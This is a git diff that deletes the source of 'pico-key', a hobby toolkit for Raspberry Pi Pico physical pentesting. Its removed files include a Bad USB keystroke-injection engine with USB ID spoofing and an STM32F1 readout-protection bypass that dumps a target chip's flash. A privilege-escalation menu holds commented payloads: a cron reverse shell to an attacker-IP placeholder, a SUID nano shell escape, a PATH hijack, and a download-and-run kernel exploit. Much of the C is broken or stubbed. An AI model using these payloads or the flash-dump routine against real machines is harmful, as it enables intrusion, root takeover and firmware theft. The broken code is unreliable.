diff --git a/.gitignore b/.gitignore index a4b283d..71de48b 100644 --- a/.gitignore +++ b/.gitignore @@ -2,7 +2,4 @@ .vscode # build -/pico-key/build - -# tests -/tests/basic-keystroke-injection/build/* \ No newline at end of file +/build \ No newline at end of file diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 1328bf0..0000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "lib/pico-sdk"] - path = lib/pico-sdk - url = https://github.com/raspberrypi/pico-sdk.git diff --git a/README.md b/README.md index 78c2212..770a409 100644 --- a/README.md +++ b/README.md @@ -1,95 +1,3 @@ -# ⚠️ Project Archived - -> [!WARNING] -> I will no longer continue development due to a lack of maintenance and time. Use at your own risk, any issue made will not be acknowledged. However, I may return to this project, although this is unlikely. - -
-Old README.md - # pico-key -A physical pentesting toolkit on a regular Raspberry Pi Pico. - -## Intro - -You've probably seen other similar tools for other MCUs and SBCs, such as the ESP32 Marauder, ESP8266 Deauther, P4wnP1 A.L.O.A, PocketPhishr, Pwnagotchi, etc. Although these are all very good projects, there hasn't been much talk regarding the Raspberry Pi Pico becoming a good tool in the right hands. - -The Raspberry Pi Pico is a flexible microcontroller board designed for multiple purposes. With this project, I intend to use make a powerful Keystroke Injection tool for such an intricate board with a special purpose. It is designed to be easy to configure, modify, and use for fun. This will be designed to be a little more than a *Bad USB*. Instead of being a basic, high-level program on a Pico, we build firmware designed for keystroke injection. - -### Development Progress - -This [project](https://github.com/users/dj1ch/projects/3) showcases my progress thus far. - -### Install guide - -**For testing only!** - -When the code is ready, run the following: - -First, we install dependencies. - -```bash -sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib -y -``` - -```bash -cd pico-key-*/pico-key -mkdir build -cd build -cmake .. -make pico-key -``` - -### The attack: explained - -Unlike your usual *Bad USB*, this is a lot more complex. - -1. When it boots up, it checks your `config.c` to determine whether or not it will run the duckyscript on startup, then also spoofs the Pico's serial number, product type, etc to make it look like a USB to the host system. Regardless if set to `true` or `false` is set in `config.c`, it will not run if there is nothing in a memory buffer which contains your duckyscript. - -2. If not running the payload, it will open the shell, which allows you to edit payloads, test payloads, control GPIO, etc. Other additional tools can be used. - -3. From the shell, you will need to create a script manually, which will remain consistent after reboots. - -4. Your config must be edited to allow the script to be run on startup after editing it, also done using the shell. - -5. The `tinyusb` library takes the duckyscript from the specified memory address for which the buffer is located and writes it to the host when it boots up, assuming that the configuration is set correctly. - -Essentially, this is just a *Metasploit-style* pentesting tool for the Raspberry Pi Pico. - -Think of the whole process like this: - -```text -shell user input -> formatted in an array -> array written to formatted part of memory -> interpreted on boot -> directly translates to commands/keys -> commands used and written to host -``` - -Although you as the user only sees: - -```text -shell user input -> saved to memory -> written to host -``` - -Kind of a complex process but it still works! - -**Before asking to install, this is merely a blueprint for what I will be working on for the next couple of weeks!** - -### The shell - -The shell allows you to do a fair share of things with the board, allowing you to make it look like a USB drive by blinking the LED, checking board stats, and testing of payloads. I plan on making this a very small "OS" for the Pico to do basic things. - -### FAQ - -**How long will it be until a release?** - -Most of the changes haven't been tested and it is yet to work as intended. This might take a while depending on how long it will take to implement the wanted feature(s). Most likely this will all be finalized sometime around late summer (July to August) 2024. - -**Can it do things other than Keystroke injection?** - -It's pretty bare bones right now, it has a work-in-progress text editor, to build the scripts on the board without having to worry about editing the files on your computer, along with being able to test scripts on the device it is plugged into. Unless we can implement some way to control GPIO over the shell, it does only keystroke injection. The OS itself is minimal and can only do so much. - -### Contributing - -TBA will add contributing guidelines soon - -**Made with :heart: by [@dj1ch](https://github.com/dj1ch)** - -
+A physical pentesting toolkit on a Raspberry Pi Pico diff --git a/pico_sdk_import.cmake b/cmake/pico_sdk_import.cmake similarity index 100% rename from pico_sdk_import.cmake rename to cmake/pico_sdk_import.cmake diff --git a/include/boot.h b/include/boot.h deleted file mode 100644 index fb612a7..0000000 --- a/include/boot.h +++ /dev/null @@ -1,18 +0,0 @@ -/** - * boot.h - * headers for boot.c -*/ - -#ifndef BOOT_H -#define BOOT_H - -#include "config.h" -#include "usb.h" -#include "duckyscript.h" -#include "pico/stdio.h" -#include "pico/malloc.h" - -extern int boot(); -extern void boardInfo(); - -#endif // BOOT_H \ No newline at end of file diff --git a/include/config.h b/include/config.h deleted file mode 100644 index 9c47105..0000000 --- a/include/config.h +++ /dev/null @@ -1,31 +0,0 @@ -/** - * config.h - * configurations are defined here -*/ - -#ifndef CONFIG_H -#define CONFIG_H - -#include "pico/stdio.h" -#include -#include - -// default config params -#define LED_PIN PICO_DEFAULT_LED_PIN -#define DEFAULT_RUN_ON_STARTUP true - -// configuration structure -typedef struct { - int ledPin; - uint32_t payloadLocation; - bool runOnStartup; - char *version; -} Configuration; - -void initConfig(); -extern void checkConfig(const Configuration *config); - -extern const uint32_t startAddress; -extern const uint32_t sizeBytes; - -#endif // CONFIG_H diff --git a/include/duckyscript.h b/include/duckyscript.h deleted file mode 100644 index 5a477c7..0000000 --- a/include/duckyscript.h +++ /dev/null @@ -1,162 +0,0 @@ -/** - * duckyscript.h - * define duckyscript in C...? -*/ - -#ifndef DUCKYSCRIPT_H -#define DUCKYSCRIPT_H - -#include "config.h" -#include "filesystem.h" -#include "pico/stdio.h" -#include "tusb.h" -#include "tusb_option.h" -#include -#include -#include - -// define hid report size -#define KEYBOARD_REPORT_SIZE 6 - -// must be the same as sizeBytes in config.c -#define SCRIPT_SIZE 4096 - -/** - * source: - * https://docstore.mik.ua/orelly/webprog/DHTML_javascript/0596004672_jvdhtmlckbk-app-b.html - * https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes?redirectedfrom=MSDN -*/ - -/** - * by default we use the left keys, usually people don't use the right control, alt, windows, etc. -*/ - -// control keys -#define ALT -#define WINDOWS -#define SHIFT -#define CONTROL - -// arrows -#define DOWNARROW -#define LEFTARROW -#define RIGHTARROW -#define UPARROW - -// other keys -#define BACKSPACE -#define CAPSLOCK -#define DELETE -#define END -#define ESCAPE -#define HOME -#define INSERT -#define NUMLOCK -#define PAGEUP -#define PAGEDOWN -#define PRINTSCREEN -#define ENTER -#define SCROLLLOCK -#define SPACE -#define TAB -#define BREAK -#define PAUSE - -// abc's -#define A -#define B -#define C -#define D -#define E -#define F -#define G -#define H -#define I -#define J -#define K -#define L -#define M -#define N -#define O -#define P -#define Q -#define R -#define S -#define T -#define U -#define V -#define W -#define X -#define Y -#define Z - -// f keys -#define F1 -#define F2 -#define F3 -#define F4 -#define F5 -#define F6 -#define F7 -#define F8 -#define F9 -#define F10 -#define F11 -#define F12 - -// regular keys -typedef struct { - char key; -} RegularKey; - -// function keys -typedef struct { - uint8_t code; -} FuncKey; - -// mod keys -typedef struct { - uint8_t code; -} ModKey; - -// mouse actions -typedef enum { - MOUSE_MOVE, - CLICK, - RIGHT_CLICK, - MIDDLE_CLICK -} mse; - -// keyboard actions -typedef enum { - PRESS_KEY, - RELEASE_KEY -} key; - -// mouse commands -typedef struct { - mse action; - int x; - int y; -} mseCommand; - -// keyboard commands -typedef struct { - key action; - char key; -} keyCommand; - -extern int run(); - -extern void sendKey(uint8_t keyCode); -extern void sendFuncKey(uint8_t funcKeyCode); -extern void sendModKey(uint8_t modKeyCode); - -extern void read(uint8_t array[]); -extern void buildScript(); -extern void testScript(); - -extern uint8_t keyboard_report[KEYBOARD_REPORT_SIZE]; -extern uint8_t fullScript[SCRIPT_SIZE]; - -#endif // DUCKYSCRIPT_H \ No newline at end of file diff --git a/include/easter-egg.h b/include/easter-egg.h deleted file mode 100644 index 3092653..0000000 --- a/include/easter-egg.h +++ /dev/null @@ -1,19 +0,0 @@ -/** - * egg.h - * special header? -*/ - -#ifndef EASTER_EGG_H -#define EASTER_EGG_H - -#include "pico/stdio.h" -#include -#include -#include - -extern char specialChoice[10]; - -extern void specialMessage(); -extern void game(); - -#endif // EASTER_EGG_H \ No newline at end of file diff --git a/include/filesystem.h b/include/filesystem.h deleted file mode 100644 index 8ad6d00..0000000 --- a/include/filesystem.h +++ /dev/null @@ -1,20 +0,0 @@ -/** - * filesystem.h - * headers for filesystem related things -*/ - -#ifndef FILESYSTEM_H -#define FILESYSTEM_H - -#include "config.h" -#include "pico/stdio.h" -#include "pico/stdlib.h" -#include "hardware/flash.h" -#include "hardware/irq.h" -#include "hardware/sync.h" - -extern void format(); -extern void seperate(const char *buffer, size_t buflen, char *array); -extern void write(const void *data, size_t len); - -#endif // FILESYSTEM_H \ No newline at end of file diff --git a/include/pico-key.h b/include/pico-key.h deleted file mode 100644 index 5f302bc..0000000 --- a/include/pico-key.h +++ /dev/null @@ -1,20 +0,0 @@ -/** - * pico-key.h - * main header for main stuff -*/ - -#ifndef PICO_KEY_H -#define PICO_KEY_H - -#include "stm.h" -#include "usb.h" -#include "settings.h" -#include "config.h" -#include "boot.h" -#include "duckyscript.h" -#include "easter-egg.h" -#include "pico/stdio.h" - -extern int main(); - -#endif // PICO_KEY_H \ No newline at end of file diff --git a/include/settings.h b/include/settings.h deleted file mode 100644 index 9f3f007..0000000 --- a/include/settings.h +++ /dev/null @@ -1,15 +0,0 @@ -/** - * settings.h - * settings for settings.c lol -*/ - -#ifndef SETTINGS_H -#define SETTINGS_H - -#include "boot.h" -#include "pico/stdio.h" - -extern void misc(); -extern void options(); - -#endif // SETTINGS_H \ No newline at end of file diff --git a/include/stm.h b/include/stm.h deleted file mode 100644 index 81af7fa..0000000 --- a/include/stm.h +++ /dev/null @@ -1,35 +0,0 @@ -/** - * stm.h - * headers for stm pico exploit -*/ - -#ifndef STM_H -#define STM_H - -#include "pico/stdio.h" -#include "pico/stdlib.h" -#include "hardware/uart.h" -#include "hardware/pwm.h" -#include - -#define LED_PIN PICO_DEFAULT_LED_PIN - -#define UART_TX_PIN 0 -#define UART_RX_PIN 1 -#define POWER_PIN 2 -#define RESET_PIN 4 -#define BOOT0_PIN 5 - -#define UART_BAUD 9600 -#define UART_ID uart0 -#define DATA_BITS 8 -#define STOP_BITS 1 -#define PARITY UART_PARITY_NONE - -#define UART_STALLS_FOR_LED_OFF 10000 - -extern void stm(); - -extern const char DUMP_START_MAGIC[4]; - -#endif // STM_H \ No newline at end of file diff --git a/include/uid.h b/include/uid.h deleted file mode 100644 index eae6462..0000000 --- a/include/uid.h +++ /dev/null @@ -1,23 +0,0 @@ -/** - * uid.h - * headers for priv escalation -*/ - -#ifndef UID_H -#define UID_H - -#include "duckyscript.h" - -extern void exploitMenu(); - -extern void binaryEsc(); -extern void suidEsc(); -extern void cronEsc(); -extern void kernelExp(); - -extern uint8_t binaryEscScript[100]; -extern uint8_t suidEscScript[100]; -extern uint8_t cronEscScript[100]; -extern uint8_t kernelExpScript[100]; - -#endif // UID_H \ No newline at end of file diff --git a/include/usb.h b/include/usb.h deleted file mode 100644 index 43e71a6..0000000 --- a/include/usb.h +++ /dev/null @@ -1,19 +0,0 @@ -/** - * usb.h - * header for usb-related social engineering -*/ - -#ifndef USB_H -#define USB_H - -#include "config.h" -#include "pico/stdio.h" -#include "pico/stdlib.h" -#include "hardware/gpio.h" -#include "tusb.h" -#include "tusb_option.h" - -extern void fakeUSB(); -extern void spoofID(); - -#endif // USB_H \ No newline at end of file diff --git a/lib/pico-sdk b/lib/pico-sdk deleted file mode 160000 index 6a7db34..0000000 --- a/lib/pico-sdk +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 6a7db34ff63345a7badec79ebea3aaef1712f374 diff --git a/src/boot.c b/src/boot.c deleted file mode 100644 index ee80911..0000000 --- a/src/boot.c +++ /dev/null @@ -1,38 +0,0 @@ -/** - * boot.c - * "bootup" process to run after the firmware is loaded -*/ - -#include "boot.h" - -int boot() { - // boot logo - char coolArt[] = "pico-key..."; - char author[] = "by dj1ch"; - - // print this ^^ - printf("\n%s\n", coolArt); - sleep(1); - printf("%s\n", author); - - // board info - boardInfo(); - - // spoof id - spoofID(); - - if (config.runOnStartup) { - read(fullScript); // may need to fix that - return 0; - } else { - // do nothing - } -} - -void boardInfo() { - // we can only really print memory here - printf("\nBoard info:\n"); - printf(malloc_stats() + " bytes"); - initConfig(); - printf(checkConfig(config)); -} \ No newline at end of file diff --git a/src/config.c b/src/config.c deleted file mode 100644 index 8a6dcee..0000000 --- a/src/config.c +++ /dev/null @@ -1,28 +0,0 @@ -/** - * config.c - * configuration related things in a source file -*/ - -#include "config.h" - -// define config -Configuration config; - -// define where to write -const uint32_t startAddress = 0x10000; -const uint32_t sizeBytes = 4096; - -void initConfig() { - config.ledPin = LED_PIN; - config.payloadLocation = startAddress; - config.runOnStartup = true; - config.version = "0.1.0-alpha"; -} - -void checkConfig(const Configuration *config) { - printf("\nCurrent Config: \n"); - printf("LED Pin definition: %d\n", config->ledPin); - printf("Payload location: 0x%08X\n", config->payloadLocation); - printf("Run on startup: %s\n", config->runOnStartup ? "true" : "false"); - printf("Current version: %s\n", config->version); -} \ No newline at end of file diff --git a/src/duckyscript.c b/src/duckyscript.c deleted file mode 100644 index 74877d5..0000000 --- a/src/duckyscript.c +++ /dev/null @@ -1,179 +0,0 @@ -/** - * duckyscript.c - * this handles the commmands and the hid -*/ - -#include "duckyscript.h" - -// full script -uint8_t fullScript[SCRIPT_SIZE]; - -// set size -uint8_t keyboard_report[KEYBOARD_REPORT_SIZE]; - -// arrays for keys -RegularKey regularKeys[] = { - {A}, {B}, {C}, {D}, {E}, {F}, {G}, {H}, {I}, {J}, {K}, {L}, {M}, - {N}, {O}, {P}, {Q}, {R}, {S}, {T}, {U}, {V}, {W}, {X}, {Y}, {Z} -}; - -FuncKey funcKeys[] = { - {BREAK}, {PAUSE}, {CAPSLOCK}, {DELETE}, {END}, {ESCAPE}, {HOME}, {INSERT}, {NUMLOCK}, - {PAGEUP}, {PAGEDOWN}, {PRINTSCREEN}, {ENTER}, {SCROLLLOCK}, {SPACE}, {TAB}, {BACKSPACE} -}; - -ModKey modKeys[] = { - {WINDOWS}, {SHIFT}, {ALT}, {CONTROL}, - {DOWNARROW}, {LEFTARROW}, {RIGHTARROW}, {UPARROW} -}; - -// run a duckyscript command based on what is in duckyscript.h -int run(const char* command, void* params) { - // parse command and run - if (strcmp(command, "regular") == 0) { - RegularKey* regKey = (RegularKey*)params; - // send regular key - keyboard_report[0] = 0; // modifier keys - keyboard_report[1] = 0; // reserved - keyboard_report[2] = regKey->key; // key to press - keyboard_report[3] = 0; // reserved - keyboard_report[4] = 0; // reserved - keyboard_report[5] = 0; // reserved - } else if (strcmp(command, "modifier") == 0) { - ModKey* modKey = (ModKey*)params; - // send modifier key - keyboard_report[0] = modKey->code; // modifier keys - keyboard_report[1] = 0; // reserved - keyboard_report[2] = 0; // key to press - keyboard_report[3] = 0; // reserved - keyboard_report[4] = 0; // reserved - keyboard_report[5] = 0; // reserved - } else if (strcmp(command, "function") == 0) { - FuncKey* funcKey = (FuncKey*)params; - // send function key - keyboard_report[0] = 0; // modifier keys - keyboard_report[1] = 0; // reserved - keyboard_report[2] = funcKey->code; // key to press - keyboard_report[3] = 0; // reserved - keyboard_report[4] = 0; // reserved - keyboard_report[5] = 0; // reserved - } - - printf("\nStarting attack!\n"); - // run attack - while (1) { - tud_task(); - } - - printf("\nAttack finished!\n"); - return 0; -} - -void sendKey(uint8_t keyCode) { - // send a regular key - keyboard_report[0] = 0; // no modifier keys - keyboard_report[2] = keyCode; // key to press - tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, keyCode); -} - -void sendModKey(uint8_t modKeyCode) { - // send a modifier key - keyboard_report[0] = modKeyCode; // modifier key code - tud_hid_keyboard_report(REPORT_ID_KEYBOARD, modKeyCode, 0); -} - -void sendFuncKey(uint8_t funcKeyCode) { - // send a function key - keyboard_report[0] = 0; // no modifier keys - keyboard_report[2] = funcKeyCode; // function key code - tud_hid_keyboard_report(REPORT_ID_KEYBOARD, 0, keyboard_report); -} - -// crap i gotta build a new compiler for this :/ -void read(uint8_t *array) { - char* token; - char* rest = array; - const char commas[] = ","; - - // tokenize buffer - while ((token = strtok_r(rest, commas, &rest))) { - char* command = strtok(token, " \t\n"); - char* param = strtok(NULL, "\n"); - - if (strcmp(command, "regular") == 0 || strcmp(command, "modifier") == 0 || strcmp(command, "function") == 0) { - run(command, 0); - } else { - printf("Unknown command: %s\n", command); - } - } -} - - -void buildScript() { - printf("\nPayloads are built here, but can also be modified using a file manager.\n"); - printf("Every time you press enter it will be written to the file.\n"); - printf("Type 'exit' to stop.\n"); - - // define script buffer - char scriptBuffer[sizeBytes]; - - // 25 chars max!! most of the time commands are shorter. - const int MAX_LINE_LENGTH = 25; - char script[MAX_LINE_LENGTH]; - - while (true) { - printf("\n> "); - // get line and write it - fgets(script, sizeof(script), stdin); - script[strcspn(script, "\n")] = '\0'; - - for (int i = 0; script[i]; i++) { - script[i] = toupper(script[i]); - } - - // append script line to buffer - if (strlen(script) + strlen(scriptBuffer) + 1 <= sizeBytes) { - strcat(scriptBuffer, script); - } else { - printf("Script buffer is full. Exiting.\n"); - break; - } - } - - // format memory and write required info there - format(); - seperate(scriptBuffer, sizeof(scriptBuffer), fullScript); - write(fullScript, sizeof(fullScript)); - - printf("Script saved!\n"); -} - -void testScript() { - printf("\nRemember that testing the script will run this on your machine!\n"); - char userWarning[10]; - - while (1) { - printf("Are you okay with this? (Y/N) > "); - - // get only the characters - fgets(userWarning, sizeof(userWarning), stdin); - userWarning[strcspn(userWarning, "\n")] = '\0'; - - // convert to uppercase - for (int i = 0; userWarning[i]; i++) { - userWarning[i] = toupper(userWarning[i]); - } - - if (strcmp(userWarning, "Y") == 0) { - continue; - } else if (strcmp(userWarning, "N") == 0) { - break; - } else { - printf("%s: Not a valid response\n", userWarning); - continue; - } - } - - // when we pass this we read the script - read(fullScript); -} \ No newline at end of file diff --git a/src/easter-egg.c b/src/easter-egg.c deleted file mode 100644 index 9fd4acc..0000000 --- a/src/easter-egg.c +++ /dev/null @@ -1,33 +0,0 @@ -/** - * easter-egg.c - * maybe this is an easter egg ;) -*/ - -#include "easter-egg.h" - -void specialMessage() { - printf("\nWhat did you expect to be here???\n"); - printf("Weirdo...\n"); - printf("\nAnyway, wanna play a game? (Y/N) > \n"); - - char specialChoice[10]; - - fgets(specialChoice, sizeof(specialChoice), stdin); - specialChoice[strcspn(specialChoice, "\n")] = '\0'; - - for (int i = 0; specialChoice[i]; i++) { - specialChoice[i] = toupper(specialChoice[i]); - } - - if (strcmp(specialChoice, "Y") == 0) { - game(); - } else if (strcmp(specialChoice, "N") == 0) { - printf("Okay, maybe next time.\n"); - } else { - printf("%s: Not a valid response\n", specialChoice); - } -} - -void game() { - -} diff --git a/src/filesystem.c b/src/filesystem.c deleted file mode 100644 index 38645c3..0000000 --- a/src/filesystem.c +++ /dev/null @@ -1,64 +0,0 @@ -/** - * filesystem.c - * handles filesystem related tasks -*/ - -#include "filesystem.h" - -// format the specified area -void format() { - printf("\nErasing flash...\n"); - - // erase memory at specified range - flash_range_erase(startAddress, sizeBytes); - - printf("Done.\n"); -} - -// seperate the duckyscript buffer -void separate(const char *buffer, size_t buflen, char *array) { - // check if the buffer is empty - if (buflen == 0) { - printf("Buffer is empty.\n"); - return; - } - - // index - size_t index = 0; - - // store in array - for (size_t i = 0; i < buflen; i++) { - array[index++] = buffer[i]; - - // insert a comma - if (i < buflen - 1) { - array[index++] = ','; - } - } - - // null-terminate the output - array[index] = '\0'; -} - -// write the data and keep it constant -void write(const void *data, size_t len) { - // format memory - format(); - - // check if the length exceeds the available space - if (len > sizeBytes) { - printf("Error: Data exceeds available space :/\n"); - return; - } - - printf("\nWriting data to flash...\n"); - - uint32_t ints = save_and_disable_interrupts(); - - // write data to flash - flash_range_program(startAddress, data, len); - - restore_interrupts(ints); - - printf("Data written successfully.\n"); -} diff --git a/src/pico-key.c b/src/pico-key.c deleted file mode 100644 index 9a7a8d7..0000000 --- a/src/pico-key.c +++ /dev/null @@ -1,67 +0,0 @@ -/** - * pico-key.c - * licensed under GPL 3.0 - * built by @dj1ch - */ - -/** developer note: - * old pr w/ python is here: https://github.com/dj1ch/pico-key/pull/1/commits/5d4c65106c6aa490b7eb047827c1ed3a00a21377 -*/ - -#include "pico-key.h" - -int main() { - // main initialization - stdio_init_all(); - tusb_init(); - - boot(); - while (true) { - printf("\n1. Build Bad USB script\n"); - printf("2. Test Bad USB script\n"); - printf("3. Fake USB drive\n"); - printf("4. STM32F1-Picopwner\n"); - printf("5. Misc\n"); - printf("6. Options\n"); - sleep_ms(1000); - - int choice; - printf("\n> "); - scanf("%d", &choice); - - switch (choice) { - case 1: - buildScript(); - break; - - case 2: - testScript(); - break; - - case 3: - fakeUSB(); - break; - - case 4: - stm(); - break; - - case 5: - misc(); - break; - - case 6: - options(); - break; - - case 69: - specialMessage(); - break; - - default: - printf("\n%d: Invalid choice :/\n", choice); - break; - } - } - return 0; -} \ No newline at end of file diff --git a/src/settings.c b/src/settings.c deleted file mode 100644 index efa1f51..0000000 --- a/src/settings.c +++ /dev/null @@ -1,51 +0,0 @@ -/** - * settings.c - * misc and options in pico-key menu -*/ - -#include "settings.h" - -void misc() { - printf("\nNothing here, for now... :/\n"); - printf("\n> "); - - char choiceB[10]; - - // remove whitespace - fgets(choiceB, sizeof(choiceB), stdin); - choiceB[strcspn(choiceB, "\n")] = '\0'; - - // uppercase and compare it - for (int i = 0; choiceB[i]; i++) { - choiceB[i] = toupper(choiceB[i]); - } - - if (strcmp(choiceB, "EXIT") == 0) { - return; - } -} - -void options() { - printf("\nHere we would put settings to set for the board, see the current board information, etc.\n"); - printf("\n1. Print board info\n"); - printf("\n> "); - - char choiceC[10]; - - // remove whitespace - fgets(choiceC, sizeof(choiceC), stdin); - choiceC[strcspn(choiceC, "\n")] = '\0'; - - // uppercase and compare it - for (int i = 0; choiceC[i]; i++) { - choiceC[i] = toupper(choiceC[i]); - } - - if (strcmp(choiceC, "EXIT") == 0) { - return; - } - - if (strcmp(choiceC, "1") == 0) { - boardInfo(); - } -} \ No newline at end of file diff --git a/src/stm.c b/src/stm.c deleted file mode 100644 index debae83..0000000 --- a/src/stm.c +++ /dev/null @@ -1,184 +0,0 @@ -/** - * stm.c - * stm exploit from the pico implemented in the program -*/ - -/* - * Copyright (C) 2024 Patrick Pedersen - - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - - * Pi Pico Attack Board Firmware - * Version: 1.2 - - * This attack is based on the works of: - * Johannes Obermaier, Marc Schink and Kosma Moczek - * The relevant paper can be found here, particularly section H3: - * https://www.usenix.org/system/files/woot20-paper-obermaier.pdf - * And the relevant code can be found here: - * https://github.com/JohannesObermaier/f103-analysis/tree/master/h3 - * - */ - -#include "stm.h" - -// Exact steps for attack: -// Power pin high -// Wait for serial input -// Power pin low -// Wait for reset to go low <- GPIO INPUT -// Power pin high -// Wait for SRAM firmware to run (Approx 15ms) -// Set boot0 pin and reset pin to low -// Wait for reset release (Approx 15ms) -// Set reset to input -// Forward UART to USB - -const char DUMP_START_MAGIC[4] = {0x10, 0xAD, 0xDA, 0x7A}; - -void stm() -{ - stdio_init_all(); - - // Prevent interpreting 0x0A as newline (0x0D 0x0A) instead of binary data - // This will spare you a headache when dealing with putchar() - stdio_set_translate_crlf(&stdio_uart, false); - - // Init UART - uart_init(UART_ID, UART_BAUD); - gpio_set_function(UART_TX_PIN, GPIO_FUNC_UART); - gpio_set_function(UART_RX_PIN, GPIO_FUNC_UART); - uart_set_format(UART_ID, DATA_BITS, STOP_BITS, PARITY); - uart_set_fifo_enabled(UART_ID, true); - - // Init GPIOs - gpio_init(LED_PIN); - gpio_init(POWER_PIN); - gpio_init(RESET_PIN); - gpio_init(BOOT0_PIN); - gpio_set_dir(LED_PIN, GPIO_OUT); - gpio_set_dir(BOOT0_PIN, GPIO_OUT); - gpio_set_dir(RESET_PIN, GPIO_IN); - gpio_pull_up(RESET_PIN); - - // Init PWM for indicator LED - gpio_set_function(LED_PIN, GPIO_FUNC_PWM); - uint slice_num = pwm_gpio_to_slice_num(LED_PIN); - pwm_set_wrap(slice_num, 255); - pwm_set_chan_level(slice_num, PWM_CHAN_A, 0); - pwm_set_enabled(slice_num, true); - - // -- Attack begins here -- - - // Set BOOT0 to high and enable power - - /* Boot into SRAM so we can fetch SRAM reset vector address - * See https://github.com/CTXz/stm32f1-picopwner/issues/1#issuecomment-1603281043 - */ - gpio_put(BOOT0_PIN, 1); - - /* Enable power - * Ensure that the power pin set high before configuring it as output - * to prevent the target from sinking current through the pin if the debug - * probe is already attached - */ - gpio_put(POWER_PIN, 1); - gpio_set_dir(POWER_PIN, GPIO_OUT); - - gpio_put(LED_PIN, 0); - - // -- Ensure that the target exploit firmware has been loaded into the target's SRAM before preceeding -- - - // Wait for any serial input to start the attack - while (getchar_timeout_us(0) == PICO_ERROR_TIMEOUT) - { - tight_loop_contents(); - } - - // Drop the power - gpio_put(LED_PIN, 1); - gpio_put(POWER_PIN, 0); - - // Wait for reset to go low - while (gpio_get(RESET_PIN)) - { - tight_loop_contents(); - } - - // Immediately re-enable power - gpio_put(POWER_PIN, 1); - - // Debugger lock is now disabled and we're now - // booting from SRAM. Wait for the target to run stage 1 - // of the exploit which sets the FPB to jump to stage 2 - // when the PC reaches a reset vector fetch (0x00000004) - sleep_ms(15); - - // Set BOOT0 to boot from flash. This will trick the target - // into thinking it's running from flash, which will - // disable readout protection. - gpio_put(BOOT0_PIN, 0); - - // Reset the target - gpio_set_dir(RESET_PIN, GPIO_OUT); - gpio_put(RESET_PIN, 0); - - // Wait for reset - sleep_ms(15); - - // Release reset - // Due to the FPB, the target will now jump to - // stage 2 of the exploit and dump the contents - // of the flash over UART - gpio_set_dir(RESET_PIN, GPIO_IN); - gpio_pull_up(RESET_PIN); - - // Wait for dump start magic to ensure - // that we don't forward any garbage data - // caused by the reset - uint magic_index = 0; - while (true) - { - char c = uart_getc(UART_ID); - if (c == DUMP_START_MAGIC[magic_index]) - { - if (++magic_index == sizeof(DUMP_START_MAGIC)) - { - break; - } - } - else - { - magic_index = 0; - } - } - - // Forward dumped data from UART to USB serial - uint stalls = 0; - while (true) - { - if (uart_is_readable(UART_ID)) - { - char c = uart_getc(UART_ID); - putchar(c); - pwm_set_gpio_level(LED_PIN, c); // LED will change intensity based on UART data - stalls = 0; - } else - { - // If no data is received for a while, turn off the LED - if (++stalls == UART_STALLS_FOR_LED_OFF) - pwm_set_gpio_level(LED_PIN, 0); - } - } -} \ No newline at end of file diff --git a/src/uid.c b/src/uid.c deleted file mode 100644 index 7be6f24..0000000 --- a/src/uid.c +++ /dev/null @@ -1,125 +0,0 @@ -/** - * uid.c - * priv esc on vulnerable systems -*/ - -#include "uid.h" - -/** - * target must have: - * - * gcc(for most attacks) - * nano text editor(should be installed by default) - * write access to /tmp directory - * - * although there are multiple methods of attacking a target system, we can take advantage of a couple of them -*/ - -/** - * we can take advantage of multiple methods, including lazy sudo configuration, suid, etc - * - * however unlike normal scripts, this is instead a pre defined one -*/ - -// define scripts -uint8_t binaryEscScript[100] = { - // cd /tmp - // echo "/bin/bash" > exp - // chmod x+s exp - // export PATH=$PATH:/tmp - // ./exp -}; - -/** - * for this exploit we leverage lazy privileges for nano, but again we can change this probably to another binary... - * - * exploit source: https://gtfobins.github.io/gtfobins/nano -*/ -uint8_t suidEscScript[100] = { - // nano - // ^R^X - // reset; sh 1>&0 2>&0 -}; - -uint8_t cronEscScript[100] = { - // cd /home - // echo "bash -i >& /dev/tcp/ATTACKER_IP_ADDRESS/PORT" > cron.sh - // echo "* * * * * root /home/cron.sh" >> /etc/crontab -}; - -uint8_t kernelExpScript[100] = { - // cd /tmp - // wget https://raw.githubusercontent.com/SecWiki/linux-kernel-exploits/master/2015/CVE-2015-1328/37292.c - // gcc 37292.c -o kernelExp - // chmod +s kernelExp - // ./kernelExp -}; - -void exploitMenu() { - printf("\nThis is a set of pre-configured scripts meant for gaining a root shell, via the means of physically being connected to the system(perhaps by an HDMI cable), or perhaps through a reverse shell.\n"); - printf("\n1. Binary path Exploit\n"); - printf("2. SUID Exploit with GNU Nano\n"); - printf("3. Reverse shell through Cron-jobs\n"); - printf("4. (Older) Kernel Exploit\n"); - - printf("\n> "); - char choiceD[10]; - - // remove whitespace - fgets(choiceD, sizeof(choiceD), stdin); - choiceD[strcspn(choiceD, "\n")] = '\0'; - - // uppercase and compare it - for (int i = 0; choiceD[i]; i++) { - choiceD[i] = toupper(choiceD[i]); - } - - if (strcmp(choiceD, "1") == 0) { - binaryEsc(); - return; - } - - if (strcmp(choiceD, "2") == 0) { - suidEsc(); - return; - } - - if (strcmp(choiceD, "3") == 0) { - cronEsc(); - return; - } - - if (strcmp(choiceD, "4") == 0) { - kernelExp(); - return; - } - - if (strcmp(choiceD, "EXIT") == 0) { - return; - } -} - -// attack creates a binary then runs it in the /tmp directory -void binaryEsc() { - format(); - read(binaryEscScript); -} - -// attack takes advantage of lazy sudo configuration for nano -void suidEsc() { - format(); - read(suidEscScript); -} - -// totally not xz! -// attack creates a root reverse shell using a cron job -void cronEsc() { - format(); - read(cronEscScript); -} - -// attack creates an overlay fs if vulnerable -void kernelExp() { - format(); - read(kernelExpScript); -} \ No newline at end of file diff --git a/src/usb.c b/src/usb.c deleted file mode 100644 index 8effc53..0000000 --- a/src/usb.c +++ /dev/null @@ -1,78 +0,0 @@ -/** - * usb.c - * fake usb related things/disguising -*/ - -#include "usb.h" - -// fake usb id's - -/** - * see 